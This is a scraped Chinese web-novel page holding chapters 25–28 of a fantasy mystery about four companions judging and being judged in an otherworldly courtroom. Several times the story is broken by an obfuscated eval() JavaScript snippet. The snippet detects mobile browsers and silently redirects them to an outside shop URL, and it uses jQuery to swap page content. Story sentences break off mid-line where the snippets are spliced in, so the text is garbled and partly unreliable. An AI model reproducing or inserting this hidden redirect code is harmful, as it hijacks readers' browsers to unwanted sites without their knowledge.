;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023405|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馆。 店里挤满了人,暖烘烘的烟气裹着谈话声,反倒没人注意这两个衣着单薄的生客。 店家送来一只小小的暖手炉,搁在桌下,晕开一团橙黄的光。叶抒年将手贴上去,暖意顺着指尖缓缓蔓延开来。 “所以,你们是市里来的小报记者,想打听我们学校舞团的事情?”贾笺在二人的默默注视下开了口。 这身份是叶抒年刚才胡诌的,实在是不好将自己来自未来这事说出口,又见这姑娘眼神清亮,只能临时编了个还算合理的说辞。可对方显然不信。 果不其然,女孩左右打量了二人一番,拆穿道:“以往市里的记者要来采访,都会先联系舞团老师,你们一看就不是。而且这么冷的天,穿成这样,不像我们这儿的人。” 被拆穿了。叶抒年正飞快想着如何圆场,却听女孩又说: “但我觉得你们不是坏人。说吧,找我到底有什么事?” 叶抒年一愣。这个结论是怎么得出来的? 她看着对面那张仍带稚气却神情平静的脸,心里那点爱幼心思又开始作祟,憋了半天最,想说出口的话,是让小姑娘日后不要随便相信陌生人。 而贾笺见她久久不言,以为是在疑惑自己何出此言,便解释道:“刚才这位姐姐把外套给你了。能这样对别人的人,不会是坏人。” 观察得倒很仔细。叶抒年定了定神,开口道:“那我不绕弯子了。我们是谁、从哪来并不重要,你只需知道我们没有恶意。我们只想问你几个问题。” 贾笺静静地回望她,点了点头。 叶抒年继续问道:“第一个问题:你和梁小絮是什么关系?” 猝然听到这个名字,女孩眼里掠过一丝意外,却没有犹豫,答得坦然:“她是我朋友。” “那你和贾纯呢?” “他是我弟弟。” “贾纯和梁小絮呢?” “……普通朋友。”贾笺这次回答得比先前慢了半拍,像在斟酌这个说法是否准确。停了一瞬,她又轻声补充:“不过我弟弟……一直挺喜欢小絮的。” 叶抒年相信这句话,却恍然想起在礼堂时,贾纯提起梁小絮负伤在家时的神情。 他当时那样平静,不见惋惜,亦无心疼。短短两个月,人的情感会这样彻底地转变吗?除非中间发生了什么。 不过如今看来,那件事此时尚未发生,她从贾笺口中问不出什么,只好询问其他细节:“你家人平时待你如何?” “……挺好的。” “那你认为,你的弟弟,是个细心的人么?” 听到这个问题,贾笺沉默了片刻,才低声回答:“算是吧。” 是就是,不是就不是,什么叫做算是?叶抒年正想追问,手背却被阮天清轻轻按住了。 只见阮天清注视着贾笺,问得更直接:“那么,你是否认为你弟弟可能因粗心大意,在检查舞台时出现疏漏,最终导致坍塌事故?” 问题问得具体而锐利。贾笺看向两人的眼神里多了几分警惕与不解。 “渎职……这么重的词我不敢说。”她声音轻了些,却并没有慌乱,“但就算我弟弟真的疏忽了,也不至于造成那么严重的后果。我们学校向来重视礼堂维护,听说过几天还要拨一笔款,专门用于舞台检修的。” 这番话让叶抒年和阮天清同时一怔。两人对视一眼,神情都凝重起来。 如果贾笺所言属实,学校对舞台维护如此重视,甚至即将拨款专项检修,那座舞台何至于发生事故?而那场坍塌,真的还能归咎于一次简单的疏忽吗? 25. 第25章 时间在面馆炊烟中悄然飘走。 阮天清一直留意着时限,倾身靠近叶抒年耳边低声提醒:“时间快到了。” 叶抒年也不再追问,只对贾笺认真道:“我还有最后两个问题。” 少女依旧安静地看着她,眼神示意她直说。 “你会做出伤害梁小絮的事吗?” 贾笺毫不犹豫地摇头:“绝对不会。” “你刚刚看的是什么书?” “《拉康选集》。”说到这个,她眼里浮起一点光,这个年纪的女孩总对课外之物充满兴趣,也乐于与志同道合的人分享自己读的书。 叶抒年眼中倏然掠过一丝复杂的情绪。她深深看了贾笺一眼。 “我猜,你很喜欢里面那句关于镜像阶段的话吧。”她说,“婴儿通过镜中的影像初次辨认自我,那是‘我’的开始。” 少女一怔:“你怎么知道?” 叶抒年没有回答,只是笑了笑。她终于明白了。 她发现了禁区的秘密。 她目光掠过贾笺手边那摞书,以及那本皮质封面的笔记本。那大概是女孩的阅读笔记,如今封面还是素净的模样,但她知道,百年之后,它会缀满宝石,流落到一个叫菲尔温的人手中。 世间因缘,当真难以言说。不知当年的菲尔温,是否也曾踏入过那座法庭。 她收回目光,对贾笺温和道:“我们该走了。谢谢你今天告诉我们这些。” 她停顿了一下,想了想还是说,“现在,你该去找你的朋友了。如果没猜错……此刻她或许很需要你。” 如果没猜错,惨剧已经发生了。 俞不晚和林煦言无法改变既定的过去。叶抒年这样想着,心底漫起一丝惋惜,为那位天才舞者。但愿这姑娘去得及时,还能尽可能地帮一把对方。 她面前,贾笺眼中掠过一丝茫然,似乎想追问什么。可未等她开口,叶抒年与阮天清已从原地消失。 不到二十平米的汤面小馆,人声依旧嘈杂,无人察觉这桌曾坐过两个年轻女子,自然也无人注意她们何时离去。 只有桌边穿着校服的少女,她怔怔望着空空如也的座位,又抬眼看向玻璃门外。 雪下得更紧了。 百年时光在此收束。同一片土地上,这座鲜为人知的法庭里,凭空多出四个身影。 叶抒年感到身下石椅传来的冷意。刚从暖手炉旁离开的身体还残留着暖,对这骤然的温差有些不适,接连打了两个喷嚏。 但这边终究是夏季,凉意只停留片刻,她便回过神来,顺手解下肩头的外套,朝不远处轻唤了声:“清清。” 阮天清也已回神。有了先前的经历,她对这场景的瞬息切换已适应许多。闻声转头,恰好接住叶抒年抛来的外套。 她直勾勾看着叶抒年,目光里带着思索的意味。刚才在面馆里,叶抒年最后对贾笺说的那番话,究竟是什么意思? 叶抒年读懂了她的眼神,此刻却只是轻轻摇头。她倒是很乐意为其解答,不过…… 她的视线扫过座无虚席的旁听席,掠过那一列证人与被告,将已到唇边的话又压了回去。胸腔里那份窥见天机的悸动,此刻必须妥帖藏好。 当时在密室里,看林煦言掏出那本笔记时,她就觉得眼熟。翻开看见内页娟秀字迹的刹那,那种似曾相识的感觉更加强烈。 这疑窦一直压在心底,直到不久前,看见雪中静静阅读的贾笺,以及她手边那本素净的皮面笔记本,一切才骤然串联起来。 原来她们与那个少女,早在几日前,就以书面的方式见过。 叶抒年总觉得,这其中的关联过深,两件事的背后或许还可以牵扯出什么信息,但此刻并不是深究的时候。 她抬眼,扫向身前那位已经怒视她许久的检察官。 不知道她又哪里招惹这人了,她心想,男人真是莫名其妙的生物,明明她刚才什么也没做,干嘛要用这种幽怨的眼神看她。 不过她也并不打算问个明白。生气就生气吧,谁管他。 她刚要说点什么来回击这人,却忽然听身旁炸开一道更愤怒的声音: “亏我之前那么相信你,狗东西!” 她被这突如其来的谩骂吓了一跳。事实上,所有人都被吓了一跳,除了林煦言。 最先反应过来的是公诉人,他将目光从法官席位上移开,秉公执法道:“法庭之上禁止对嫌疑人使用语言暴力,警告一次。” 被警告的人很不服气,但碍于这天杀的法庭规则,俞不晚只得将到嘴边的、更恶毒的话吞回去。 这幅模样被叶抒年尽收眼底,不免替自己捏了把汗,只剩最后一次违规的机会,接下来她们得小心行事了。 她看着俞不晚平日里总是随和嬉笑的脸上,此刻布满了愤懑,一双桃花眼直冒火心。 她敢说,要不是俞不晚身前有个栏杆拦着,只怕这时候已经扑上去撕了那位被骂的人。 刚才在回溯里,究竟发生了什么事?叶抒年不禁揪心起来。 她和阮天清那边确是岁月静好。与贾笺的沟通十分愉快,一切顺利到叶抒年几乎直接认定,这么知书达理温柔可爱的女孩,不可能是什么舞台坍塌案的真凶。 但另一边显然不是这样。林煦言虽然没直接骂人,却也“唰”地站起身来,目光像刀一般,狠狠剜过审判台上的少年。 还好法庭没有规定不能使用眼神暴力。 不过事情怎么会进展成现在这样?叶抒年心头一紧,与阮天清交换了一个眼神,两人皆默然坐着,看俞不晚厉声质问贾纯。 “是你把她推下去的!”俞不晚的声音因愤怒而发颤,“你把梁小絮从小坡上推下去,还不敢承担后果,自己逃了!” 话音如冰锥坠地,整座法庭陷入更深的死寂。 被告席上,贾纯脸色瞬间惨白,又骤然涨红,脖颈上青筋绽出:“你、你胡说什么!我……我只是和她玩闹,是她自己没站稳!” 几乎同时,证人席传来一阵压抑的骚动。 贾纯的父亲颓然垂首,双手在膝上微微发抖。一旁的母亲则像是被抽空了力气,整个身子坍落下去,发不出声,只有眼泪滚滚而下。 而那位前不久还言之凿凿的老师,此刻也满面羞愤,紧张之色溢于言表。叶抒年看着那副样子,心想,大抵他对此事也是知情的。 人在坏事败露的时候,总是不经意显出最真实的面目。叶抒年盯着那张也曾看上去天真无邪的面孔,此刻在羞恼中扭曲变形,透出一股陌生的狰狞。 真是个畜生。 她相信俞不晚所说的话,一朝得知真相,怒火也窜上心头。道貌岸然的东西,人前装得纯良无害,骨子里竟烂到了这种地步。 眼下,贾纯依旧死死咬住不松口,拒不承认自己做过的勾当。但俞不晚才不会给他逃避的机会,只见她取出自己的影语石。 这次她与林煦言早有准备,早将回溯中所见尽数录入石中。 她指尖一催,影语石光华微泛,瞬间汇集了全场视线,包括叶抒年与阮天清满含期待的目光。 然而,石上浮现的,只有一片沉滞的漆黑。 “回溯中禁止录音录像,你们录到的东西会被法庭自动屏蔽掉。”在一旁观摩了许久的公诉人忽然说。 有这个规定不早说!叶抒年在心中冷笑。这法庭果然处处是绊子。 不过她心中已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她正要推进庭审进程,还没张口,却听俞不晚先行开腔:“我要求行使辩护人权力,与我的委托人单独沟通。” 她说这话时,声音已经平息,听起来就像完全不曾动怒,惹得叶抒年心头一颤。 事出反常必有妖。 她看向台阶下的阮天清和林煦言,俩人也正一头雾水,不知道俞不晚这一出是想干嘛。但叶抒年回忆了一下辩护人的特权后,突然会心一笑。 辩护人可与委托人私下面谈,期间不受监听,亦不在回溯约束之内。也就是说,相当于一个法外之地。 既然是法外之地,那岂不就是什么都可以做? 包括任何形式的暴力。 看来俞不晚还是不解气。叶抒年莞尔,无可奈何地摇了摇头。 而审判台上的那位,似乎也意识到自己即将面临什么,脸色由涨红转为惨白,一个劲踉跄后退,试图祈求法庭机制的庇护。 但俞不晚才不允许,拎起贾纯的耳朵,不由分说地朝叶抒年手边的密室走去。 接下来的事情,叶抒年等人坐在外面自然听不到,只能一个劲朝密室门口张望,一边盼着俞不晚赶紧提着人出来,一边又希望她们在里面多待一会。 时间似乎过去了许久,久到那间密室门终于被打开。俞不晚一脸神清气爽地走出来,而另一位,早已面目全非,字面意义上的那种。 叶抒年看着这一切,忽然涌现出一种别样的想法。 她竟觉得,此刻这简单粗暴的公正,比灾变前那个用体面包裹罪孽的世界,要干净爽快。 这念头让她不由得惴惴不安。 26. 第26章 即便这一切推理皆为事实,她便有权判处一个人死刑吗? 她在心底无数次说过“罪该万死”,可这句话真的该经由她的口,化作实际落下的裁决吗? 权力的来源是什么?她不过是个对法律一知半解的普通人,此刻身披的法袍、手握的决断权,皆源自这座诡谲法庭的赋予。这力量本不属于她,她真的配使用它吗? 贾纯并非舞台坍塌唯一的、直接的原因。他只是一长串因果链中的一环。 如果他有罪,那么证人席上那些沉默的知情者,那些用金钱和关系将真相掩埋的校方、家长,那些选择视而不见的老师,甚至那些在流言中保持缄默的同学。 他们手上,难道就没有沾染无形的血污? 这座法庭将巨大的裁决权,交到了几个尚怀有朴素正义感的普通人手中。 可她们践行正义的方式,从回溯中私带证物,到此刻密室中的私刑,再到这缺乏严谨程序与专业审视的审判,其本身,又何尝是一种正义? 她追求的,究竟是真相与罚当其罪,还是在用另一种形式的暴力,去宣泄对前一种暴力的愤怒? 属于法官的石槌,此刻就躺在叶抒年手边,看上去冰冷沉重。 叶抒年望着它,忽然意识到,她握住的不是公道,而是一个过于锋利、随时可能反噬自身的凶器。 法庭之上,其他几人依然在遵照法庭给出的规则程序进行决断。阮天清和林煦言皆已经做出了最终审判,此刻所有人的目光都落在叶抒年身上,等待法官最后的槌音。 她却只是望着眼前的石槌,手悬在半空,迟迟不敢抬起。 周围的声响渐渐淡去,化作一片模糊的底噪。她能感受到公诉人投来的视线,带着疑问,或许还有无声的催促。 可她只是回以沉默。 那槌子太沉了。 阮天清的选择或许基于冷静的推论,林煦言的表决可能源于纯粹的义愤,而俞不晚……她的行动早已超越了裁决的范畴。每个人都在用自己的方式理解正义,并用法庭赋予的权力去践行它。 可这权力本身干净吗?这座法庭将生杀大权如同分发道具般,交给几个闯入此地的陌生人,不问来处,不试资格,只凭一套模糊的规则和所谓的角色。 她们在此地审判他人,可谁又来审判这场审判的正当性? 贾纯有罪。这一点她几乎确信。可“有罪”与“由我来了结”,是两件截然不同的事。 叶抒年深吸一口气,终于抬起头,目光对上等待已久的公诉人。 她不能敲下这一槌。至少,不是以这样的方式。 “我弃权。” 这句话让在场的所有人都为之一惊。也不是,那位检察官似乎没有太大的反应,只是静静地看着叶抒年,仿佛早就猜到她会做如此决断。 “法庭之上,任何审判员都不得弃权。”一道苍老的声音响起,落在叶抒年身前。 她循声望去,那位npc老者不知何时已经站在了法官席前。这次倒不是从书中浮现,而是整个人立在光下,身影凝实。 “我不能做这项决断。”叶抒年感到自己的声音在颤抖。她清楚地知道,自己在与什么东西做抗争。 “但你现在身着法袍,居于此席,就必须履行你的职责。”老者的声音低沉而平直,“纵使你心中不愿裁决,也当为你的同伴思量。违背法庭,后果并非你一人承担。” 他微微向前倾身,石槌在叶抒年手边映出冷硬的光泽。 “现在,抬起它,投出最后一票。” 用队友的安危来威胁她……这招的确很奏效。叶抒年刚才聚起的那点勇气,倏然散了。她可以拿自己冒险,却不能不顾他人。 她看向旁侧的三人。她们似乎还因她之前的抗辩而怔着,即便阮天清面上已竭力恢复平静,但那总是淡然抿着的唇角,此刻也泄露出一丝紧绷的弧度。 她又望向不远处的审判台。 贾纯头顶上已然多出了一行数字:2:1。 有罪的两票来自阮天清与林煦言。即便她拒不落下这一槌,判决似乎已成定局。可如果她投下第三票呢…… 她再次鼓起勇气,直直看向老者沉静的眼睛,决绝道:“既然法庭赋予我决断的权力,那么这权力,能否再给得彻底些?” 老者看着他,眼神示意她继续说下去。 “目前法庭给出的审判结果太笼统,只说有罪无罪,却没告诉我们,如果有罪,最终落到那人头上的惩罚是什么。我要的,是自行裁定惩罚的权力。” 老者沉默片刻,枯瘦的手指在法典封面上轻轻一点。 “可以。” 叶抒年心中一喜,但紧接着又听到:“但作为交换,接下来的两桩案件,你们将失去审判员的身份。” 这算什么代价?她甚至暗自松了口气。 想到光是刚才的贾纯案,就耗费了她们大半天,她忍不住心痛。她在这禁区内的每分每秒都很宝贵,她还要去找界碑呢。 想必其他几人也这么认为。叶抒年望向阶下的几人,果然,阮天清和俞不晚都朝她微微颔首。 “好。”叶抒年应声,却忽然想起什么,又开口道,“我还有一个问题。” 老者大概没想到,这个小姑娘如此瞻前顾后,有些无可奈何地摆摆手:“你说。” “其实梁小絮并没有死,对吧?” 叶抒年想起了昨晚在小屋内遇到的骷髅舞者。她跳舞的姿势,还有留下的记号,都很难让人不将二者联系起来。 老者沉默了片刻。 “……她不算死去,也不算活着。” 果然。 叶抒年微微低头,唇角很轻地弯了一下,说不清是释然,还是叹息。看来这禁区中缠绕的某些规则,早在百年前的那场血与崩塌里,便已埋下了根。 她不再犹豫,转向审判台。 贾纯正瘫跪在地,那张红肿变形的脸上混杂着恐惧与绝望。 “法庭赋予我裁定惩罚之权,现在,我将行使它。”她稍作停顿,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035959|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光如平静的湖水,映出台上少年颤抖的身影。 “贾纯,你推下梁小絮的那一刻,大概从未想过这会夺走二十四条生命。你不配得到解脱。” “我要你活下去。” 她一字一句,斩钉截铁: “我要你,日日夜夜活在煎熬与挣扎之中。每夜都做着不重复的噩梦,永远逃不出那片废墟与坠落的身影。 你必须留在这片土地上,用余生去做三件事: 第一,终身照料因你而失去未来的梁小絮。这是你欠她的,得用每一天来还。 第二,亲手修复这座百年后已成废墟的城镇,即便现在已无人居住。一砖一瓦,都要经你的手重新立起来。 第三,安顿好外面那些从山洞里涌出去的人,让他们无法再用声音残害过往路人。” 第三条确是叶抒年临时添上的。她人还在法庭,心里已开始盘算出去之后的路径。 她眼睁睁看着山洞倾倒的那一刻,那些密密麻麻的“人脸”自洞内涌出。如今想来,那些东西大概已经流散至禁区各处。 如果放任不管,恐怕只会让整片土地遍布不可控的回声,行人每一步都需提心吊胆。如今有这现成的、体质特殊的劳力,倒是个不容错过的安排。 石槌落下的声响闷而沉,像一块沉重的黑布覆上了整个殿堂。余音却迟迟不散,在法庭上空缓缓洇开。 审判台上,贾纯似乎还没完全听懂那些话,只是呆滞地仰着头,望着头顶那行已然凝固的光字。 终身赎罪刑。 而叶抒年松开握着石槌的手。掌心有些湿冷,木柄上留下淡淡的汗痕。她目光落向自己摊开的掌心。 就在刚才,她决定了一个人的未来。即便这并非她本意。 其实此刻,她只想赶快逃离这座法庭。这座,吃人的法庭。 可惜条件不允许。 只见那老者袍袖轻拂,审判台上的少年,与席间那一列证人的身影,便如被擦去的墨迹,倏然消散。 “如你所愿。”老者低头看着仍惊疑不定的叶抒年,“现在,我们该来审一审最终的四个人了。” 七宗案件,审完一件,抵押出去两件,眼下还剩四件。 叶抒年长舒一口气,只想一鼓作气将它们了结。她抬眼望向老者,刚要开口询问下一桩案件,却见对方再次抬起了手。 一股无形之力骤然攫住她,将她从法官席上猛地提起,掷向那座围有细链的审判台。 双脚落地时踉跄了一下,她稳住身形,抬眼便看见庭中央那位久未出声的检察官。他神色间掠过一丝罕见的慌张,甚至下意识朝她的方向踏近了两步。 而不远处,阮天清、俞不晚和林煦言还来不及为她担忧,便被老者以同样的手法接连拽离座位,纷纷落向旁侧的席台。 这是怎么回事…… 叶抒年有些愤怒地看向那老者,刚要质问,却见他坐在她曾坐过的法官席上,声音清晰贯透整座殿堂: “第四案,审判开始。” 27. 第27章 上一秒叶抒年还高居法官席,这一秒,角色陡然反转,她沦落为待审判的嫌犯。 审判台不知何时已悄然变形。 先前那道象征性的、几乎松垂在地的铁链,此刻正缓缓绷紧,发出金属抖动的细响。台面中央,一根手腕粗细的金属杆自地下无声升起,泛着冷冽的哑光,顶端呈弧形弯折,形如一道未及落下的闸。 它静立在那里,并未动作,却已让整个空间的空气都沉了三分。 叶抒年尚未完全理清这骤变,目光扫过同样被移至不同席位上的阮天清、俞不晚与林煦言,一个念头倏然划过。 难不成,接下来要审的四个案子,对应的正是她们四人? 但她自问,从未做过什么极端的亏心事。除了她的穿越者身份,叶抒年实在想不出,自己还有什么值得被推上审判台的理由。 然而眼前的局面已不由分说。 她迅速扫视全场。 阮天清、俞不晚、林煦言虽仍在场,却都无能为力地坐于旁听席,像是挣扎不得。辩护席与陪审席空无一人,原有的角色身份被全然剥夺。 而那位一直立于庭中的公诉人,此刻也只是沉默地站在一旁,目光低垂。看来,就连他也被排除在这场审判之外。 也就是说,接下来的审判,成了只属于她与法官一对一的对峙。 她忽然有些莫名心虚,不敢直视那位法官的眼睛。 难不成……真要当众揭穿她来自另一个世界的事?能不能给孩子留点隐私…… 好在对方打算审判的,似乎并不是这件事。 只听法官席上,老者缓缓开口:“接下来的审判,你将受到法庭的束,所言皆为实话。放心,法庭不会伤你性命,只是问你几个问题。” 感觉这也没好到哪去。 她算是看明白了,刚才的检察官也好,现在的老者也罢,其实全部都是听命于这座法庭。 而真正令人不安的是,她完全猜不透这法庭究竟想要什么,又会问出什么样的问题。未知总是令人恐惧。 法庭没有让她疑惑太久。 只见法官席上,老者双手捧起那部厚重的法典,缓缓举过头顶,姿态庄严而神圣。 下一刻,法典仿佛被无形的力量牵引,自他手中浮起,平稳地飞向审判台,最终悬停在叶抒年头顶上方。 书页无风自动,哗地展开。 顷刻间,无数道淡金色的光华从页间流淌而出,如缕缕融化的金丝垂落。 光线触及叶抒年手腕的刹那骤然凝实,化作柔韧而冰冷的触感,缠绕收紧。 那力量牵引着她的双臂向后反剪,直至高举过头顶,将她双手牢牢缚在了背后那根升起的金属杆上。这姿态如同一个静待裁决的囚徒。 叶抒年下意识挣了挣手腕,金纹纹丝不动,像长在了她的皮肤与金属之间。 她随即静了下来,心中浮现起被无故当做罪犯的恼怒,但不再浪费力气,只将背脊挺得更直了些。 既然挣脱不了,便索性仰起脸,目光倔强地望向高处,仿佛穿透了那位审判者,也穿透了那人背后的、无形的力量。 她在审判台上孑然独立,姿态里没有瑟缩,也无乞求,倒像站在一场与自己有关的仪式里,静候下一个章节展开。 清浊自分,她信这个。 “首先,法庭问你,”老者的声音从高处落下,仿佛举着一柄审判镰刀,“你此生所犯最深的罪孽是什么?” 叶抒年怔了怔。 她……不知道。 细细回想前二十余年人生,幼儿园时挑食,糟蹋过不少粮食;小学时憎恶邻班一个总扯女孩辫子的男生,某天午休,她揣着手工剪刀溜进对方教室,把对方头发剃得坑坑洼洼。 再到中学、大学,大错一件都不曾沾过,但借作业给人抄、抱着薄薄一沓试卷对老师说“收齐了”、晚自习翻墙出校吃夜宵……这类事倒也一件没少。 也不知这当中,哪一桩算得上最深的罪孽。 她冥思苦想半天,没想出个所以然。那悬于头顶的法典却在此刻泛起微光。 一缕金色流光自书页间倾泻而出,在她眼前盈盈停驻,仿佛被无形的手指牵引般缓缓游动。最终,光华定形,化作一行清晰的字迹浮于空中: “我是个小偷。” 叶抒年睁大了眼,怔怔望着那行字。那并非她所写,却又好像确确实实,出自她生命的某一页。 旁听席上,阮天清、俞不晚和林煦言也看见了那行凭空浮现的金字。几道目光齐齐投来,讶然中带着不解。 林煦言大约从没想过,这个被他看作能在荒芜之地独自站稳的同伴,竟会是个小偷。 巧了,叶抒年也是第一天知道。 原来所谓的审判,其实并不需要她亲口回答问题啊。 叶抒年突然想,法庭能不能问一下她,究竟偷了什么。她现在比较好奇这个问题的答案。 可惜法庭并不深究前一个问题。老者的声音再次响起: “你最想守护的秘密是什么?” 那可太多了……叶抒年淡淡地想,不知法庭想知道哪一个。 金光再度流转,排列重组为新的一行字: “我不是一个人。” 叶抒年浑身一僵,几乎要跳起来。这分明是污蔑! 她不是人,还能是什么?她会呼吸、思考、会痛会怕,再正常不过的一个人! 总不能因为她来自异世界,就剥夺她的人籍吧! 这下,旁听席上那几位,脸色更凝固了。 连一贯沉静的阮天清也微微睁大了眼,投去询问的目光,诘问叶抒年莫非是什么灵兽,比如小猫咪小仓鼠什么的。她一直觉得叶抒年很像只小动物。 目睹了这一切、并且读出了无声之意的叶抒年简直要给这破法庭鼓掌,这该不会是什么邪恶势力,故意要离间她们四人的关系吧? 手段真是太高明了,混蛋! 现在她已全然不信这鬼地方吐出的任何字句,任由那第三个问题抛出,连看都懒得看一眼。 可当老者真的问出口时,她还是忍不住去听。 “你今生最牵挂的人是谁?” 叶抒年默然想了想。要说牵挂,她从小并未受过谁特别的疼惜,连父母亲戚也疏淡。离家求学近七载,故乡与旧人皆已模糊。 她甚至有点好奇,这次法庭又会胡诌出什么。 金光流淌,字迹渐显:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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即便被困在这片诡异的禁区,能有这样一群同伴相伴,似乎也不算太糟。这大概是她穿越以来,最值得庆幸的事了。 四人的温馨没能持续太久。法庭的审判并未停歇,新一轮的召唤已然降临。 这次轮到阮天清。 她只朝法官席方向投去一瞥,确认了次序,便转身径直走向审判台。 台下,叶抒年不自觉地屏住了呼吸。她不知道那本法典这次会吐出怎样的字句,即便明知其满口荒唐言,仍不免为台上那人揪紧了心。 可转念一想,阮天清从来就不是会被轻易撼动的人。 因而她只是紧紧地望着那个背影。 阮天清的脊背总是挺得很直,走路时很少回头,此刻也是如此。 她一步一步走向审判。殿堂顶空投下的斑驳光影,从她的鞋尖开始,逐渐向上吞没她的脚踝,她笔直的裤腿,挺括的后背,最后是那一缕被染成雾霭蓝的发梢。 她走得太过从容坦荡,以至于叶抒年当真以为,自己足以承受接下来即将听见的一切。 28. 第28章 老者的声音自高位落下,传到旁听席上,就显得有些缥缈,像被蒙了一层雾。 “你的异能是什么?” 这个问题并不让人意外,叶抒年觉得这法庭似乎很喜欢打听人的隐私。 不过说实话,她也有些好奇。这些天来,她从未见阮天清真正动用过异能,或许是之前的危机,还不足以逼她展露。 她望向前方的审判台。阮天清此刻正站在那里,或者说,吊在那里。 自高窗投落的天光斜斜切过她的脸,上半张脸隐在审判台的阴影里,只余一双眼睛隐现;下半张脸却被光照得清晰,下颌线绷出利落的弧度。 那光与影的分界,恰好将她剖成了明与暗的两半。 不过她面上毫无窘迫。这个人就像是天生不知惧怕为何物,目光沉静而专注,甚至透出一种罕见的凌厉。 她头顶的法典开始流转金光,与刚才如出一辙。 只是这一次,金光的凝聚显得格外迟缓。那些光屑如迷失方向的星尘,盘旋散开,许久未能成形。似乎连这法庭本身,也在艰难地辨认着什么。 终于,在漫长的微光闪烁后,答案缓缓浮现。 “流体领域。” 闻所未闻的异能。叶抒年来到这个世界的时间尚短,对觉醒者的能力体系仍感到陌生,此刻只觉得什么都很新鲜。 身旁的林煦言却低低“啊”了一声。 他从小跟在兄长身边,见识过、也听说过许多罕见异能,此时盯着那行金光浮动的字,眼里掩不住讶异:“……竟然是这个。” 叶抒年偏头看他:“你也是才知道清清的异能?”她原以为这两人相识已久,早该彼此了解。 林煦言摇头:“阮姐动手向来快准狠,几乎没遇见过需要动用异能的情形。” 他想了想,又压低声音,带着点分享秘闻般的语气,“不过我哥以前提过这种异能。非常稀有的力场型,能在使用者周身形成可控的流体领域,随意扭曲力场方向,甚至制造力场滑道。” 他说着,语气里不禁带上赞叹,“这能力和阮姐简直是绝配,难怪她在赏金猎人里能排到第一。” “只不过……”他话音忽地一滞。 “只不过什么?”叶抒年最受不了人说话说一半。 林煦言迟疑了一下,才道:“我哥说,这类异能的觉醒者……十几年前遭遇过一场清剿,据说几乎没留下活口。” 他很快又摇摇头,像是甩开某个沉重的念头:“但阮姐毕竟不是一般人。她能活下来,也不意外。” 若真如林煦言所说……那时的阮天清,恐怕还是个孩子。 叶抒年望向审判台上那道被光影分割的侧影,挺直、沉静,不见半分瑟缩。她忽然觉得,那道身影里藏着的,远比她想象的更多。 审判还在继续。 “你的秘密是什么?” 同样的问题,抛向了阮天清。 秘密,大约是每个人都惧怕被洞穿的东西。 叶抒年清楚地看到,在那个问题落下的瞬间,阮天清原本自然的唇角微微绷紧,抿成了一条克制的线。 仿佛只要维持这样的弧度,就能将某些深埋之物牢牢锁在心底。 这场景看得叶抒年有些不忍。她别过头,不愿亲眼见证那个秘密被强行拖至光下。尽管她知道,那本法典总是抽风,吐露的未必是真言,但她还是这样做了。 然而回避终究是徒劳。 金光再度开始流转,这一次比先前更加凌乱。光屑如困兽般在虚空中冲撞,久久未能凝结成形。似乎那个秘密太过沉重,连这诡谲的法典也难以将其托出表面。 时间在寂静中被拉长。终于,叶抒年听见身旁传来俞不晚惊讶的声音,带着明显的困惑: “这法典……怎么是空白的?” 她下意识转过头。 果然,那片原本该浮现文字的地方,金光已彻底黯淡。答案是空白。 也好。 这是叶抒年的第一反应。 无论是因为那本法典太过鸡肋,还是阮天清当真问心无愧、胸中并无不可示人的秘密,这样的结果,总归是叶抒年所乐见的。 她自己也说不清缘由,心头那点莫名的紧绷,在看见那片空白时悄然松开了。 她似乎有些害怕看到那个答案,这感觉很奇怪。 明明相识才不过数日,她却已不知不觉将阮天清视作可以全然信赖的同伴。 或许,这就是排行榜首的赏金猎人独有的能力。让人不由自主地感到踏实,仿佛有她在,前路再险也能走下去。 正当所有人都因那片空白而略松一口气时,第三个问题已接踵而至。 “你还能活多久?” 这问题太过诡异,连叶抒年都忍不住向前倾身,望向那本法典。 谁能确切知道自己还能活多久?阮天清再强悍,终究不是神祇,难道还能预知自己的死期? 她暗中吐槽这破法庭,不屑地摇了摇头,心下已认定这次的结果多半仍是一片空白。 然而,令所有人震愕的事情发生了。 法典陡然光芒大盛,数道金流如决堤般汹涌而出,在半空中急速汇聚,快得没有丝毫迟疑! 下一刻,一行冰冷而精确的数字浮现在众人眼前: “307天。” 旁听席上,俞不晚猛地倒吸一口冷气,手指倏地攥紧了前排椅背。林煦言则“腾”地站起身,脱口而出:“这什么玩意儿?!”声音在寂静的法庭里显得突兀。 叶抒年瞬间从座位上站了起来。 